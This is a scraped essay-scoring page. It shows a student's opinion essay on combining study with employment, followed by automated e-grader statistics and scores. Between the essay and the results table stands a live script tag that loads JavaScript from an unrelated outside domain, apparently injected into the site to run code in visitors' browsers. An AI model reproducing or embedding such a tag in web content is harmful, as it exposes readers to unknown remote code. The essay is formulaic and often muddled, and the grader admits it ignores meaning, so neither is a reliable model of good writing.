Effective learning cannot only contribute to combine study and employment but can lead to numerous other benefits in various fields.
One of the most conspicuous trends of today's world is a colossal upsurge in the number of people believing that effective learning requires time, comfort and peace so it is impossible to combine study and employment, as it distracts each other. There is a widespread worry that this will only lead to a myriad of concerns in one's life. However, I do not entirely accept this notion and will explain why in this essay.
To broach the discussion, there is a deluge of arguments in favour of my stance. The most preponderant one is that effective learning cannot only contribute to combine study and employment but can lead to numerous other benefits in various fields. Thanks to a wide range of advantages it offers, not only can one benefit more when it comes to being effective, but they can enhance the productivity and quality of the work, with much "ease, efficacy, and convenience". Needless to say, all these merits stand one in good stead, as far as augmenting their chances of prosperity and excellence are concerned.
Another pivotal aspect of the aforementioned proposition is that it is only likely to help one thrive and excel in varied areas. Besides, when only one follows such a system, can they broaden their horizons, thus learning such essential attributes as responsibility, dedication, and perseverance. For instance, a wide range of examples of this scenario can be witnessed in both developed and developing countries. Hence, it is apparent why many are in favour of this statement.
In view of the arguments outlined above, it can be concluded that the benefits of studying and working together are indeed too great to ignore.
<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2019-09-27 | Lakhwindergrewal | 77 | view |
Grammar and spelling errors:
Line 1, column 326, Rule ID: ONES[1]
Message: Did you mean 'one's'?
Suggestion: one's
...ll only lead to a myriad of concerns in ones life. However, I do not entirely accept...
^^^^
Transition Words or Phrases used:
besides, but, hence, however, if, so, thus, for instance
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 14.0 10.5418719212 133% => OK
Auxiliary verbs: 9.0 6.10837438424 147% => OK
Conjunction : 13.0 8.36945812808 155% => OK
Relative clauses : 7.0 5.94088669951 118% => OK
Pronoun: 24.0 20.9802955665 114% => OK
Preposition: 38.0 31.9359605911 119% => OK
Nominalization: 9.0 5.75862068966 156% => OK
Performance on vocabulary words:
No of characters: 1400.0 1207.87684729 116% => OK
No of words: 277.0 242.827586207 114% => OK
Chars per words: 5.05415162455 5.00649968141 101% => OK
Fourth root words length: 4.07962216107 3.92707691288 104% => OK
Word Length SD: 2.96907650504 2.71678728327 109% => OK
Unique words: 159.0 139.433497537 114% => OK
Unique words percentage: 0.574007220217 0.580463131201 99% => OK
syllable_count: 449.1 379.143842365 118% => OK
avg_syllables_per_word: 1.6 1.57093596059 102% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 3.0 4.6157635468 65% => OK
Article: 2.0 1.56157635468 128% => OK
Subordination: 3.0 1.71428571429 175% => OK
Conjunction: 3.0 0.931034482759 322% => Less conjunction wanted as sentence beginning.
Preposition: 3.0 3.65517241379 82% => OK
Performance on sentences:
How many sentences: 12.0 12.6551724138 95% => OK
Sentence length: 23.0 20.5024630542 112% => OK
Sentence length SD: 54.9863619455 50.4703680194 109% => OK
Chars per sentence: 116.666666667 104.977214359 111% => OK
Words per sentence: 23.0833333333 20.9669160288 110% => OK
Discourse Markers: 4.66666666667 7.25397266985 64% => OK
Paragraphs: 4.0 4.12807881773 97% => OK
Language errors: 1.0 5.33497536946 19% => OK
Sentences with positive sentiment : 8.0 6.9802955665 115% => OK
Sentences with negative sentiment : 2.0 2.75862068966 72% => OK
Sentences with neutral sentiment: 2.0 2.91625615764 69% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.359018188961 0.242375264174 148% => OK
Sentence topic coherence: 0.12218889309 0.0925447433944 132% => OK
Sentence topic coherence SD: 0.224121762646 0.071462118173 314% => The coherence between sentences is low.
Paragraph topic coherence: 0.189062582281 0.151781067708 125% => OK
Paragraph topic coherence SD: 0.130398405079 0.0609392437508 214% => More connections among paragraphs wanted.
Essay readability:
automated_readability_index: 13.9 12.6369458128 110% => OK
flesch_reading_ease: 48.13 53.1260098522 91% => OK
smog_index: 8.8 6.54236453202 135% => OK
flesch_kincaid_grade: 12.3 10.9458128079 112% => OK
coleman_liau_index: 12.31 11.5310837438 107% => OK
dale_chall_readability_score: 9.39 8.32886699507 113% => OK
difficult_words: 81.0 55.0591133005 147% => OK
linsear_write_formula: 10.5 9.94827586207 106% => OK
gunning_fog: 11.2 10.3980295567 108% => OK
text_standard: 11.0 10.5123152709 105% => OK
What are above readability scores?
---------------------
Rates: 77.7777777778 out of 100
Scores by essay e-grader: 70.0 Out of 90
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.